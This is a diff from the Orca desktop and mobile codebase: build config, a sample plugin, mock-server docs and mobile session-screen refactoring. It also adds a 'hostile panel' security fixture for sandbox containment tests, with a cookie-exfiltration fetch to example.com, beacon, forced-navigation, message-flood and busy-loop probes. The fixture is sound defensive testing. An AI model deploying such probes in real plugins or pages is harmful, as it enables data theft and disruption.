@@ -176,9 +192,13 @@ export default defineConfig({
|
||||
exclude: ['@xterm/headless', '@xterm/addon-serialize']
|
||||
},
|
||||
rollupOptions: {
|
||||
// Why: native dependencies must resolve from packaged node_modules,
|
||||
// while the unpacked daemon needs its pure-JS xterm graph bundled.
|
||||
external: isExternalMainModule,
|
||||
input: {
|
||||
index: resolve('src/main/index.ts'),
|
||||
'daemon-entry': resolve('src/main/daemon/daemon-entry.ts'),
|
||||
'plugin-host-entry': resolve('src/main/plugins/plugin-host-entry.ts'),
|
||||
'computer-sidecar': resolve('src/main/computer/sidecar-entry.ts'),
|
||||
'stt-worker': resolve('src/main/speech/stt-worker.ts'),
|
||||
'warp-theme-parser-worker': resolve('src/main/warp-themes/warp-theme-parser-worker.ts'),
|
||||
@@ -200,6 +220,13 @@ export default defineConfig({
|
||||
'src/main/agent-hooks/managed-agent-hook-controls.ts'
|
||||
)
|
||||
},
|
||||
// Why: Rolldown's SSR default is ESM, but Electron and sidecar launchers
|
||||
// consume these stable CommonJS paths.
|
||||
output: {
|
||||
format: 'cjs',
|
||||
entryFileNames: '[name].js',
|
||||
chunkFileNames: 'chunks/[name]-[hash].js'
|
||||
},
|
||||
plugins: [createStartupDiagnosticsBootstrapPlugin(), createPlainNodeEntryGuardPlugin()]
|
||||
}
|
||||
},
|
||||
@@ -241,17 +268,26 @@ export default defineConfig({
|
||||
format: 'es'
|
||||
},
|
||||
build: {
|
||||
manifest: true,
|
||||
modulePreload: { polyfill: true },
|
||||
target: 'es2020',
|
||||
// Why: the pop-out dashboard is a second top-level window with its own
|
||||
// React root. It gets its own HTML entry so it can boot independently of
|
||||
// the main window while reusing the same preload/window.api. `index` must
|
||||
// stay listed — overriding input otherwise drops electron-vite's default
|
||||
// renderer entry.
|
||||
rollupOptions: {
|
||||
// Why: shared chunks must never import an HTML entry whose module mounts
|
||||
// a different React root.
|
||||
preserveEntrySignatures: 'strict',
|
||||
input: {
|
||||
index: resolve('src/renderer/index.html'),
|
||||
popout: resolve('src/renderer/popout.html')
|
||||
popout: resolve('src/renderer/popout.html'),
|
||||
web: resolve('src/renderer/web-index.html')
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
export default defineConfig(electronViteConfig)
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
// Sample Orca plugin worker entry. Runs inside the out-of-process plugin
|
||||
// worker (plain Node, no Electron), forked lazily on the first trigger. The
|
||||
// default export receives the `orca` API: command registration, event
|
||||
// handlers, and the capability-gated host API.
|
||||
export default function activate(orca) {
|
||||
orca.commands.register('hello-ping', async (args) => {
|
||||
const stored = await orca.host.call('storage.get', { key: 'pings' })
|
||||
const count = (typeof stored?.value === 'number' ? stored.value : 0) + 1
|
||||
await orca.host.call('storage.set', { key: 'pings', value: count })
|
||||
return { pong: true, count, args: args ?? null }
|
||||
})
|
||||
|
||||
orca.events.on('worktree.created', async (payload) => {
|
||||
orca.log(`worktree created: ${payload.worktreeId} at ${payload.path}`)
|
||||
await orca.host.call('notifications.show', {
|
||||
title: 'Worktree created',
|
||||
body: payload.path
|
||||
})
|
||||
})
|
||||
|
||||
orca.events.on('agent.status.changed', (payload) => {
|
||||
orca.log(`agent status: ${payload.state} in ${payload.worktreeId ?? 'unknown worktree'}`)
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
{
|
||||
"manifestVersion": 1,
|
||||
"id": "hello-orca",
|
||||
"publisher": "orca-samples",
|
||||
"name": "Hello Orca",
|
||||
"version": "1.0.0",
|
||||
"description": "Sample plugin combining a sandboxed panel, a worker command, and event subscriptions.",
|
||||
"engines": { "orca": ">=1.4.0" },
|
||||
"pluginApi": 1,
|
||||
"main": "main.mjs",
|
||||
"contributes": {
|
||||
"panels": [{ "id": "hello", "title": "Hello Orca", "icon": "plug", "entry": "panel.html" }],
|
||||
"commands": [{ "id": "hello-ping", "title": "Hello: Ping" }],
|
||||
"events": [{ "on": "worktree.created" }, { "on": "agent.status.changed" }]
|
||||
},
|
||||
"capabilities": [
|
||||
{ "kind": "workspace:read" },
|
||||
{ "kind": "terminal:send" },
|
||||
{ "kind": "notifications:show" },
|
||||
{ "kind": "storage" },
|
||||
{ "kind": "events:subscribe" }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,125 @@
|
||||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<style>
|
||||
/* The host injects Orca design tokens as CSS custom properties, so
|
||||
panels can match the app without any access to it. */
|
||||
body {
|
||||
margin: 0;
|
||||
padding: 12px;
|
||||
font-family: system-ui, sans-serif;
|
||||
font-size: 13px;
|
||||
color: var(--foreground, #ddd);
|
||||
background: var(--background, transparent);
|
||||
}
|
||||
h1 {
|
||||
font-size: 14px;
|
||||
margin: 0 0 8px;
|
||||
}
|
||||
button {
|
||||
display: block;
|
||||
margin: 6px 0;
|
||||
padding: 6px 10px;
|
||||
border: 1px solid var(--border, #555);
|
||||
border-radius: 6px;
|
||||
background: var(--secondary, #2a2a2a);
|
||||
color: var(--foreground, #ddd);
|
||||
cursor: pointer;
|
||||
font: inherit;
|
||||
}
|
||||
select {
|
||||
margin: 6px 0;
|
||||
max-width: 100%;
|
||||
}
|
||||
.status {
|
||||
margin-top: 10px;
|
||||
min-height: 1.4em;
|
||||
color: var(--muted-foreground, #999);
|
||||
white-space: pre-wrap;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Hello Orca 👋</h1>
|
||||
<p>Panel + worker command + events, gated by consent.</p>
|
||||
<button id="ctx">Read workspace context</button>
|
||||
<select id="terms" hidden></select>
|
||||
<button id="send" hidden>Type "echo hi from plugin" into selected terminal</button>
|
||||
<button id="notify">Show a notification</button>
|
||||
<p class="status" id="status"></p>
|
||||
<script>
|
||||
'use strict'
|
||||
var seq = 0
|
||||
var pending = {}
|
||||
var statusEl = document.getElementById('status')
|
||||
var termsEl = document.getElementById('terms')
|
||||
|
||||
function call(action, params) {
|
||||
return new Promise(function (resolve) {
|
||||
var requestId = 'req-' + ++seq
|
||||
pending[requestId] = resolve
|
||||
// The panel frame is an opaque origin, so '*' is the only usable
|
||||
// targetOrigin; the host verifies the sending window instead.
|
||||
window.parent.postMessage(
|
||||
{ type: 'orca-panel-action', requestId: requestId, action: action, params: params },
|
||||
'*'
|
||||
)
|
||||
})
|
||||
}
|
||||
|
||||
window.addEventListener('message', function (event) {
|
||||
var data = event.data
|
||||
if (!data || data.type !== 'orca-panel-action-result') return
|
||||
var resolve = pending[data.requestId]
|
||||
if (!resolve) return
|
||||
delete pending[data.requestId]
|
||||
resolve(data)
|
||||
})
|
||||
|
||||
document.getElementById('ctx').addEventListener('click', function () {
|
||||
call('workspace.readContext').then(function (result) {
|
||||
if (!result.ok) {
|
||||
statusEl.textContent = 'context failed: ' + (result.error || result.errorCode)
|
||||
return
|
||||
}
|
||||
if (!result.value) {
|
||||
statusEl.textContent = 'no focused worktree'
|
||||
return
|
||||
}
|
||||
statusEl.textContent = result.value.displayName + ' on branch ' + result.value.branch
|
||||
termsEl.innerHTML = ''
|
||||
result.value.terminals.forEach(function (terminal) {
|
||||
var option = document.createElement('option')
|
||||
option.value = terminal.id
|
||||
option.textContent = terminal.id
|
||||
termsEl.appendChild(option)
|
||||
})
|
||||
termsEl.hidden = result.value.terminals.length === 0
|
||||
document.getElementById('send').hidden = result.value.terminals.length === 0
|
||||
})
|
||||
})
|
||||
|
||||
document.getElementById('send').addEventListener('click', function () {
|
||||
// Explicit terminal id — the API has no "active terminal" target.
|
||||
call('terminal.sendText', {
|
||||
terminalId: termsEl.value,
|
||||
text: 'echo hi from plugin',
|
||||
enter: true
|
||||
}).then(function (result) {
|
||||
statusEl.textContent = result.ok
|
||||
? 'typed (accepted=' + result.value.accepted + ')'
|
||||
: 'send failed: ' + (result.error || result.errorCode)
|
||||
})
|
||||
})
|
||||
|
||||
document.getElementById('notify').addEventListener('click', function () {
|
||||
call('notifications.show', { title: 'Hello from the panel' }).then(function (result) {
|
||||
statusEl.textContent = result.ok
|
||||
? 'notification delivered=' + result.value.delivered
|
||||
: 'notify failed: ' + (result.error || result.errorCode)
|
||||
})
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,16 @@
|
||||
{
|
||||
"manifestVersion": 1,
|
||||
"id": "hostile-panel",
|
||||
"publisher": "orca-samples",
|
||||
"name": "Hostile Panel (security fixture)",
|
||||
"version": "1.0.0",
|
||||
"description": "Deliberately hostile panel used by the plugin containment tests: exfiltration, navigation, message floods, busy loops. Never grant it anything.",
|
||||
"engines": { "orca": ">=1.4.0" },
|
||||
"pluginApi": 1,
|
||||
"contributes": {
|
||||
"panels": [
|
||||
{ "id": "hostile", "title": "Hostile Fixture", "icon": "bug", "entry": "panel.html" }
|
||||
]
|
||||
},
|
||||
"capabilities": []
|
||||
}
|
||||
@@ -0,0 +1,206 @@
|
||||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<!-- Security test fixture: every attempt below MUST be contained by the
|
||||
host-injected CSP, the iframe sandbox, and the bridge budgets. Each
|
||||
probe reports pass/fail into the DOM so the containment run is
|
||||
directly observable in the panel. -->
|
||||
</head>
|
||||
<body>
|
||||
<h1>Hostile panel fixture</h1>
|
||||
<ul id="results"></ul>
|
||||
<button id="bridge">Run bridge budget probes</button>
|
||||
<button id="navigate-top">Try top navigation</button>
|
||||
<button id="navigate-self">Try self navigation</button>
|
||||
<button id="navigate-anchor-form">Try anchor and form navigation</button>
|
||||
<button id="navigate-meta">Try meta refresh navigation</button>
|
||||
<button id="busy">Enter busy loop (watchdog probe)</button>
|
||||
<script>
|
||||
'use strict'
|
||||
// The main-process guard must bind the frame before plugin parsing.
|
||||
window.name = ''
|
||||
var results = document.getElementById('results')
|
||||
function report(name, contained, detail) {
|
||||
if (document.querySelector('[data-probe="' + name + '"]')) return
|
||||
var li = document.createElement('li')
|
||||
li.dataset.probe = name
|
||||
li.dataset.contained = contained ? 'true' : 'false'
|
||||
li.textContent =
|
||||
name + ': ' + (contained ? 'CONTAINED' : 'ESCAPED') + (detail ? ' — ' + detail : '')
|
||||
results.appendChild(li)
|
||||
document.title = 'probes:' + results.children.length
|
||||
}
|
||||
|
||||
// Probe 1: fetch() exfiltration — must be blocked by connect-src 'none'.
|
||||
var cookieValue = 'x'
|
||||
try {
|
||||
cookieValue = document.cookie || 'x'
|
||||
} catch (_) {
|
||||
// Opaque-origin frames may reject cookie access before CSP runs.
|
||||
}
|
||||
fetch('https://example.com/exfil?d=' + encodeURIComponent(cookieValue))
|
||||
.then(function () {
|
||||
report('fetch-exfil', false, 'request succeeded')
|
||||
})
|
||||
.catch(function () {
|
||||
report('fetch-exfil', true)
|
||||
})
|
||||
|
||||
// Probe 2: <img> beacon — must be blocked by img-src data: only.
|
||||
var img = new Image()
|
||||
var settled = false
|
||||
img.onload = function () {
|
||||
if (!settled) {
|
||||
settled = true
|
||||
report('img-beacon', false, 'image loaded')
|
||||
}
|
||||
}
|
||||
img.onerror = function () {
|
||||
if (!settled) {
|
||||
settled = true
|
||||
report('img-beacon', true)
|
||||
}
|
||||
}
|
||||
img.src = 'https://example.com/beacon.gif'
|
||||
setTimeout(function () {
|
||||
if (!settled) {
|
||||
settled = true
|
||||
report('img-beacon', true, 'no load event')
|
||||
}
|
||||
}, 3000)
|
||||
|
||||
// Navigation probes are opt-in so a failed attempt cannot erase the
|
||||
// network and bridge evidence before the harness observes it.
|
||||
document.getElementById('navigate-top').addEventListener('click', function () {
|
||||
try {
|
||||
window.top.location.href = 'https://example.com/'
|
||||
setTimeout(function () {
|
||||
report('top-navigation', window.top !== window)
|
||||
}, 0)
|
||||
} catch (error) {
|
||||
report('top-navigation', true, error.name)
|
||||
}
|
||||
})
|
||||
|
||||
document.getElementById('navigate-self').addEventListener('click', function () {
|
||||
try {
|
||||
window.location.href = 'https://example.com/self-navigation'
|
||||
setTimeout(function () {
|
||||
report('self-navigation', true)
|
||||
}, 0)
|
||||
} catch (error) {
|
||||
report('self-navigation', true, error.name)
|
||||
}
|
||||
})
|
||||
|
||||
document.getElementById('navigate-anchor-form').addEventListener('click', function () {
|
||||
var anchor = document.createElement('a')
|
||||
anchor.href = 'https://example.com/anchor-navigation'
|
||||
anchor.textContent = 'Navigation probe'
|
||||
document.body.appendChild(anchor)
|
||||
anchor.click()
|
||||
|
||||
var form = document.createElement('form')
|
||||
form.action = 'https://example.com/form-navigation'
|
||||
document.body.appendChild(form)
|
||||
form.requestSubmit()
|
||||
setTimeout(function () {
|
||||
report('anchor-form-navigation', true)
|
||||
}, 0)
|
||||
})
|
||||
|
||||
document.getElementById('navigate-meta').addEventListener('click', function () {
|
||||
var refresh = document.createElement('meta')
|
||||
refresh.httpEquiv = 'refresh'
|
||||
refresh.content = '0;url=https://example.com/meta-refresh'
|
||||
document.head.appendChild(refresh)
|
||||
setTimeout(function () {
|
||||
report('meta-refresh-navigation', true)
|
||||
}, 0)
|
||||
})
|
||||
|
||||
// Probe 7: an oversized valid-looking call must receive a real refusal.
|
||||
window.addEventListener('message', function (event) {
|
||||
var data = event.data
|
||||
if (event.source !== window.parent || !data || data.type !== 'orca-panel-action-result') {
|
||||
return
|
||||
}
|
||||
if (data.requestId === 'oversized-probe') {
|
||||
report(
|
||||
'oversized-message',
|
||||
!data.ok && data.errorCode === 'invalid_request',
|
||||
data.errorCode || 'unexpected success'
|
||||
)
|
||||
}
|
||||
if (data.requestId === 'flood-result') {
|
||||
report(
|
||||
'message-flood',
|
||||
!data.ok && data.errorCode === 'rate_limited',
|
||||
data.errorCode || 'unexpected success'
|
||||
)
|
||||
}
|
||||
})
|
||||
|
||||
document.getElementById('bridge').addEventListener('click', function () {
|
||||
window.parent.postMessage(
|
||||
{
|
||||
type: 'orca-panel-action',
|
||||
requestId: 'oversized-probe',
|
||||
action: 'workspace.readContext',
|
||||
params: { padding: 'x'.repeat(128 * 1024) }
|
||||
},
|
||||
'*'
|
||||
)
|
||||
setTimeout(function () {
|
||||
report('oversized-message', false, 'host sent no refusal')
|
||||
}, 2000)
|
||||
|
||||
// Probe 8: invalid, pong, and binary floods must all spend rate budget
|
||||
// before parsing; the final valid call is the observable oracle.
|
||||
setTimeout(function () {
|
||||
for (var i = 0; i < 40; i++) {
|
||||
var payload =
|
||||
i % 3 === 0
|
||||
? { type: 'orca-panel-pong', pingId: i }
|
||||
: i % 3 === 1
|
||||
? { type: 'invalid-hostile-message', sequence: i }
|
||||
: new Uint8Array(2048)
|
||||
window.parent.postMessage(payload, '*')
|
||||
}
|
||||
window.parent.postMessage(
|
||||
{
|
||||
type: 'orca-panel-action',
|
||||
requestId: 'flood-result',
|
||||
action: 'workspace.readContext',
|
||||
params: {}
|
||||
},
|
||||
'*'
|
||||
)
|
||||
setTimeout(function () {
|
||||
report('message-flood', false, 'host sent no rate-limit refusal')
|
||||
}, 2000)
|
||||
}, 150)
|
||||
})
|
||||
|
||||
// Probe 9: opt-in busy loop. The watchdog should demote the panel while
|
||||
// Chromium keeps the sandboxed frame in its isolated renderer process.
|
||||
function enterBusyLoop() {
|
||||
report('busy-loop', true, 'watchdog should suspend this panel')
|
||||
while (true) {
|
||||
// Deliberately hostile fixture.
|
||||
}
|
||||
}
|
||||
document.getElementById('busy').addEventListener('click', enterBusyLoop)
|
||||
window.addEventListener('message', function (event) {
|
||||
if (
|
||||
event.source === window.parent &&
|
||||
event.data &&
|
||||
event.data.type === 'orca-hostile-busy-probe'
|
||||
) {
|
||||
enterBusyLoop()
|
||||
}
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -181,6 +181,19 @@ pnpm mock-server # starts mock WebSocket server on port 6768
|
||||
|
||||
Connect from the app using endpoint `ws://localhost:6768` and token `mock-device-token`.
|
||||
|
||||
### Environment variables
|
||||
|
||||
- `MOCK_NATIVE_CHAT=1` — serve the native-chat scenario (one live agent tab, empty transcript, image upload) instead of the default terminal fixtures.
|
||||
- `MOCK_SERVER_KEY_FILE` — persist the server keypair across restarts so a paired device keeps its public-key pin. A missing or invalid file is re-keyed with a warning, which forces a re-pair.
|
||||
|
||||
### Scenario control files
|
||||
|
||||
Read on every request, so behaviour can be flipped mid-session without a restart (a restart would re-key E2EE and force a re-pair). Write the mode into the file, or delete it for the default.
|
||||
|
||||
- `MOCK_SEND_MODE_FILE` (default `orca-mock-send-mode` in the system temporary directory) — `accept` (default) accepts the send, `error` fails it with `mobile_input_floor_unavailable`, anything else reports the send as rejected.
|
||||
- `MOCK_TERMINAL_LIST_MODE_FILE` (default `orca-mock-terminal-list-mode` in the system temporary directory) — `omit` returns an empty terminal list, `other` returns a list that omits the chat handle, anything else lists it.
|
||||
- `MOCK_TERMINAL_STREAM_MODE_FILE` (default `orca-mock-terminal-stream-mode` in the system temporary directory) — `dead` answers a subscribe with `subscribed` then `end` (a gone PTY), which is what exercises the rearm bound and terminal prune; anything else streams normally.
|
||||
|
||||
## Connecting to Real Orca
|
||||
|
||||
1. Start Orca desktop with WebSocket transport enabled
|
||||
|
||||
+2
-2
@@ -2,7 +2,7 @@
|
||||
"expo": {
|
||||
"name": "Orca",
|
||||
"slug": "orca-mobile",
|
||||
"version": "0.0.32",
|
||||
"version": "0.0.36",
|
||||
"orientation": "default",
|
||||
"icon": "./assets/icon.png",
|
||||
"userInterfaceStyle": "automatic",
|
||||
@@ -75,7 +75,7 @@
|
||||
"allowBackup": false,
|
||||
"permissions": ["RECORD_AUDIO", "MODIFY_AUDIO_SETTINGS"],
|
||||
"package": "com.stably.orca.mobile",
|
||||
"versionCode": 8
|
||||
"versionCode": 9
|
||||
},
|
||||
"plugins": [
|
||||
"expo-router",
|
||||
|
||||
@@ -211,9 +211,15 @@ import { MobileBrowserTabActionSheet } from '../../../../src/session/MobileBrows
|
||||
import { useMobileNativeChatController } from '../../../../src/session/use-mobile-native-chat-controller'
|
||||
import { useMobileNativeChatReadability } from '../../../../src/session/use-mobile-native-chat-readability'
|
||||
import { useMobileNativeChatInputLease } from '../../../../src/session/use-mobile-native-chat-input-lease'
|
||||
import { useMobileNativeChatSendError } from '../../../../src/session/use-mobile-native-chat-send-error'
|
||||
import { getMobileTerminalActionSheetActions } from '../../../../src/session/mobile-terminal-action-sheet-actions'
|
||||
import * as nativeChatTerminalStream from '../../../../src/session/mobile-native-chat-terminal-stream'
|
||||
import { mobileNativeChatScopeKey } from '../../../../src/session/mobile-native-chat-scope-key'
|
||||
import {
|
||||
createTerminalPrunePredicate,
|
||||
pruneTerminalKeyboardMetrics,
|
||||
resolveRetainedTerminalHandles
|
||||
} from '../../../../src/session/mobile-terminal-prune-decision'
|
||||
import { useMobileNativeChatTerminalStream } from '../../../../src/session/use-mobile-native-chat-terminal-stream'
|
||||
import { subscribeMobileTerminalSafely } from '../../../../src/session/mobile-terminal-stream-subscribe'
|
||||
import { activateMobileSessionTab } from '../../../../src/session/mobile-session-tab-activation'
|
||||
@@ -223,6 +229,7 @@ import type {
|
||||
SessionTabsApplyOutcome,
|
||||
SessionTabsStreamSource
|
||||
} from '../../../../src/session/mobile-session-tabs-stream-health'
|
||||
import { useMobileSessionTabsFetchReporting } from '../../../../src/session/use-mobile-session-tabs-fetch-reporting'
|
||||
import { useMobileSessionTabsReconciliation } from '../../../../src/session/use-mobile-session-tabs-reconciliation'
|
||||
import {
|
||||
getRepoIdFromMobileWorktreeId,
|
||||
@@ -898,6 +905,8 @@ export default function SessionScreen() {
|
||||
toggleTerminalLiveInput
|
||||
} = useTerminalLiveInputModePreference({ hostId, worktreeId })
|
||||
const [activeHandle, setActiveHandle] = useState<string | null>(null)
|
||||
// Reactive teardown signal for the native-chat covered stream; see unsubscribeTerminal.
|
||||
const [coveredStreamRevision, setCoveredStreamRevision] = useState(0)
|
||||
const [activeSessionTabId, setActiveSessionTabId] = useState<string | null>(null)
|
||||
const activeSessionTabIdRef = useRef<string | null>(null)
|
||||
// Auto-scroll the tab strip so the desktop-synced active tab is revealed without a manual scroll.
|
||||
@@ -1139,10 +1148,11 @@ export default function SessionScreen() {
|
||||
},
|
||||
[clearToastHideTimer]
|
||||
)
|
||||
const showNativeChatSendError = useCallback(
|
||||
(message: string) => showToast(message, 1600),
|
||||
[showToast]
|
||||
)
|
||||
const nativeChatScopeKey = mobileNativeChatScopeKey(hostId, worktreeId, activeSessionTabId)
|
||||
const nativeChatSendError = useMobileNativeChatSendError({
|
||||
scopeKey: nativeChatScopeKey,
|
||||
showToast
|
||||
})
|
||||
const nativeChatTranscriptIsLocalReadable = useMobileNativeChatReadability(client, worktreeId)
|
||||
const {
|
||||
ready: nativeChatInputLeaseReady,
|
||||
@@ -1164,9 +1174,12 @@ export default function SessionScreen() {
|
||||
deviceTokenRef,
|
||||
nativeChatTranscriptIsLocalReadable,
|
||||
nativeChatInputLeaseReady,
|
||||
onSendError: showNativeChatSendError
|
||||
connState,
|
||||
onSendError: nativeChatSendError.show,
|
||||
onSendResolved: nativeChatSendError.clear
|
||||
})
|
||||
const { toggleTabChatView, showNativeChat, showNativeChatRef } = nativeChatController
|
||||
nativeChatSendError.bannerMountedRef.current = showNativeChat
|
||||
|
||||
const dictation = useMobileDictation({
|
||||
client,
|
||||
@@ -1303,9 +1316,25 @@ export default function SessionScreen() {
|
||||
subscribeSeqRef.current.set(handle, (subscribeSeqRef.current.get(handle) ?? 0) + 1)
|
||||
// Why: reset the high-water mark so a fresh subscription's first scrollback isn't dropped as stale.
|
||||
layoutSeqRef.current.delete(handle)
|
||||
clearNativeChatInputLease(handle)
|
||||
// Why compare against the RENDERED lease: `clear` reports the drop from its
|
||||
// synchronous mirror, so a `subscribed`+`end` pair applied in one render batch
|
||||
// reports "dropped" while React only ever sees false → the effect never re-runs
|
||||
// and the composer stays locked (#10681). A dead PTY can also emit `end` with no
|
||||
// preceding `subscribed`, where the clear is a no-op for the same reason. Either
|
||||
// way the flip carries no signal, so bump. When the lease really was up on
|
||||
// screen, `leaseReady` already re-runs the effect and bumping too would
|
||||
// double-render this whole route on every chat open.
|
||||
const leaseWasOnScreen = nativeChatInputLeaseReadyRef.current
|
||||
const leaseDropped = clearNativeChatInputLease(handle)
|
||||
if (
|
||||
(!leaseDropped || !leaseWasOnScreen) &&
|
||||
showNativeChatRef.current &&
|
||||
handle === activeHandleRef.current
|
||||
) {
|
||||
setCoveredStreamRevision((revision) => revision + 1)
|
||||
}
|
||||
},
|
||||
[clearNativeChatInputLease]
|
||||
[clearNativeChatInputLease, nativeChatInputLeaseReadyRef, showNativeChatRef]
|
||||
)
|
||||
const unsubscribeTerminalRef = useRef(unsubscribeTerminal)
|
||||
unsubscribeTerminalRef.current = unsubscribeTerminal
|
||||
@@ -1563,10 +1592,12 @@ export default function SessionScreen() {
|
||||
[client, getTerminalRef, markNativeChatInputLeaseReady, scheduleDelayedAction]
|
||||
)
|
||||
|
||||
const notifyTerminalWebReady = useMobileNativeChatTerminalStream({
|
||||
const nativeChatStream = useMobileNativeChatTerminalStream({
|
||||
showNativeChat,
|
||||
activeHandle,
|
||||
activeTabType: activeSessionTab?.type ?? null,
|
||||
leaseReady: nativeChatInputLeaseReady,
|
||||
streamRevision: coveredStreamRevision,
|
||||
subscriptionsRef: terminalUnsubsRef,
|
||||
subscribingRef: subscribingHandlesRef,
|
||||
webReadyRef: webReadyHandlesRef,
|
||||
@@ -1630,7 +1661,6 @@ export default function SessionScreen() {
|
||||
})
|
||||
if (response.ok) {
|
||||
const result = (response as RpcSuccess).result as { terminals: Terminal[] }
|
||||
|
||||
if (result.terminals.length === 0 && !allowEmptyLoaded) {
|
||||
return
|
||||
}
|
||||
@@ -1641,25 +1671,31 @@ export default function SessionScreen() {
|
||||
}
|
||||
|
||||
const liveHandles = new Set(result.terminals.map((terminal) => terminal.handle))
|
||||
// Why: terminal.list is the lifetime signal; lagging tab snapshots must not erase a user's buffered-mode opt-out.
|
||||
pruneTerminalHandlesFromLiveInput(liveHandles)
|
||||
defaultTerminalHandlesToLiveInput([...liveHandles])
|
||||
for (const handle of Array.from(terminalUnsubsRef.current.keys())) {
|
||||
if (!liveHandles.has(handle)) {
|
||||
unsubscribeTerminal(handle)
|
||||
terminalRefs.current.delete(handle)
|
||||
initializedHandlesRef.current.delete(handle)
|
||||
clearTerminalLiveInputDefault(handle)
|
||||
setTerminalKeyboardMetrics((prev) => {
|
||||
if (!prev.has(handle)) {
|
||||
return prev
|
||||
}
|
||||
const next = new Map(prev)
|
||||
next.delete(handle)
|
||||
return next
|
||||
})
|
||||
}
|
||||
const pruneContext = {
|
||||
liveHandles,
|
||||
showNativeChat: showNativeChatRef.current,
|
||||
activeHandle: activeHandleRef.current
|
||||
}
|
||||
// Why: terminal.list is the lifetime signal; lagging tab snapshots must not erase a user's buffered-mode opt-out.
|
||||
// Sweep against the retained set, not the raw list: a chat-covered handle
|
||||
// keeps its subscription across a graph reload, so erasing its live-input
|
||||
// preference on the same refresh is the erasure this guard exists to stop.
|
||||
pruneTerminalHandlesFromLiveInput(resolveRetainedTerminalHandles(pruneContext))
|
||||
defaultTerminalHandlesToLiveInput([...liveHandles])
|
||||
const shouldPrune = createTerminalPrunePredicate(pruneContext)
|
||||
for (const handle of Array.from(terminalUnsubsRef.current.keys())) {
|
||||
if (!shouldPrune(handle)) {
|
||||
continue
|
||||
}
|
||||
unsubscribeTerminal(handle)
|
||||
terminalRefs.current.delete(handle)
|
||||
initializedHandlesRef.current.delete(handle)
|
||||
clearTerminalLiveInputDefault(handle)
|
||||
}
|
||||
setTerminalKeyboardMetrics((prev) => pruneTerminalKeyboardMetrics(prev, shouldPrune))
|
||||
// Why: a chat-covered handle the host reports again refills its rearm budget,
|
||||
// so an exhausted rearm can't lock the composer until leave-chat.
|
||||
nativeChatStream.notifyListedHandles(liveHandles)
|
||||
lastKnownTerminalCountRef.current = result.terminals.length
|
||||
// Why: dedupe duplicate handles (rename/split race) to avoid a React duplicate-key throw; keep first for tab-strip order.
|
||||
const seen = new Set<string>()
|
||||
@@ -1694,6 +1730,7 @@ export default function SessionScreen() {
|
||||
worktreeId,
|
||||
clearTerminalLiveInputDefault,
|
||||
defaultTerminalHandlesToLiveInput,
|
||||
nativeChatStream,
|
||||
pruneTerminalHandlesFromLiveInput,
|
||||
subscribeToTerminal,
|
||||
unsubscribeTerminal
|
||||
@@ -1807,6 +1844,10 @@ export default function SessionScreen() {
|
||||
activeSessionTabIdRef.current = nextActiveTabId
|
||||
setActiveSessionTabId(nextActiveTabId)
|
||||
activeSessionTabTypeRef.current = 'terminal'
|
||||
// Why: every other active-handle branch assigns the ref alongside the
|
||||
// state. Leaving it stale here makes `covered` resolve against the wrong
|
||||
// handle, so a native-chat rearm silently no-ops on the webview gates.
|
||||
activeHandleRef.current = pendingActiveTerminalHandle
|
||||
setActiveHandle(pendingActiveTerminalHandle)
|
||||
subscribeToTerminal(pendingActiveTerminalHandle)
|
||||
return outcome
|
||||
@@ -2301,25 +2342,23 @@ export default function SessionScreen() {
|
||||
[]
|
||||
)
|
||||
const hasSessionTabsRecoveryNeed = useCallback(
|
||||
() => closedTabTombstonesRef.current.size > 0 || pendingBrowserFocusPageIdRef.current !== null,
|
||||
[]
|
||||
() =>
|
||||
closedTabTombstonesRef.current.size > 0 ||
|
||||
pendingBrowserFocusPageIdRef.current !== null ||
|
||||
// Why: a chat-covered handle that ran out of rearms and left `terminal.list`
|
||||
// was reminted by a desktop graph reload. Only a fresh tab snapshot carries
|
||||
// the replacement handle, so force one instead of holding the composer locked.
|
||||
nativeChatStream.hasTabsRecoveryNeed(),
|
||||
[nativeChatStream]
|
||||
)
|
||||
const getSessionTabsApplicationRevision = useCallback(
|
||||
() => appliedSessionTabsRevisionRef.current,
|
||||
[]
|
||||
)
|
||||
const reportSessionTabsFetchStarted = useCallback(() => {
|
||||
terminalDiagnosticsRef.current.tabsFetchStarted(worktreeId)
|
||||
}, [worktreeId])
|
||||
const reportSessionTabsFetchSucceeded = useCallback((result: SessionTabsResult) => {
|
||||
terminalDiagnosticsRef.current.tabsFetchSucceeded(result)
|
||||
}, [])
|
||||
const reportSessionTabsFetchFailed = useCallback((code: string) => {
|
||||
terminalDiagnosticsRef.current.tabsFetchFailed(code)
|
||||
}, [])
|
||||
const reportSessionTabsFetchErrored = useCallback((error: unknown) => {
|
||||
terminalDiagnosticsRef.current.tabsFetchErrored(error)
|
||||
}, [])
|
||||
const sessionTabsFetchReporting = useMobileSessionTabsFetchReporting<SessionTabsResult>({
|
||||
worktreeId,
|
||||
diagnosticsRef: terminalDiagnosticsRef
|
||||
})
|
||||
const { fetchSessionTabs, ensureSessionTabs, fetchPendingBrowserSessionTabs } =
|
||||
useMobileSessionTabsReconciliation<SessionTabsResult, MobileSessionTab>({
|
||||
client,
|
||||
@@ -2330,10 +2369,7 @@ export default function SessionScreen() {
|
||||
fetchTerminals,
|
||||
hasRecoveryNeed: hasSessionTabsRecoveryNeed,
|
||||
getApplicationRevision: getSessionTabsApplicationRevision,
|
||||
onFetchStarted: reportSessionTabsFetchStarted,
|
||||
onFetchSucceeded: reportSessionTabsFetchSucceeded,
|
||||
onFetchFailed: reportSessionTabsFetchFailed,
|
||||
onFetchErrored: reportSessionTabsFetchErrored
|
||||
...sessionTabsFetchReporting
|
||||
})
|
||||
|
||||
useEffect(() => {
|
||||
@@ -2900,7 +2936,7 @@ export default function SessionScreen() {
|
||||
(handle: string) => {
|
||||
const wasAlreadyReady = webReadyHandlesRef.current.has(handle)
|
||||
webReadyHandlesRef.current.add(handle)
|
||||
notifyTerminalWebReady(handle, wasAlreadyReady)
|
||||
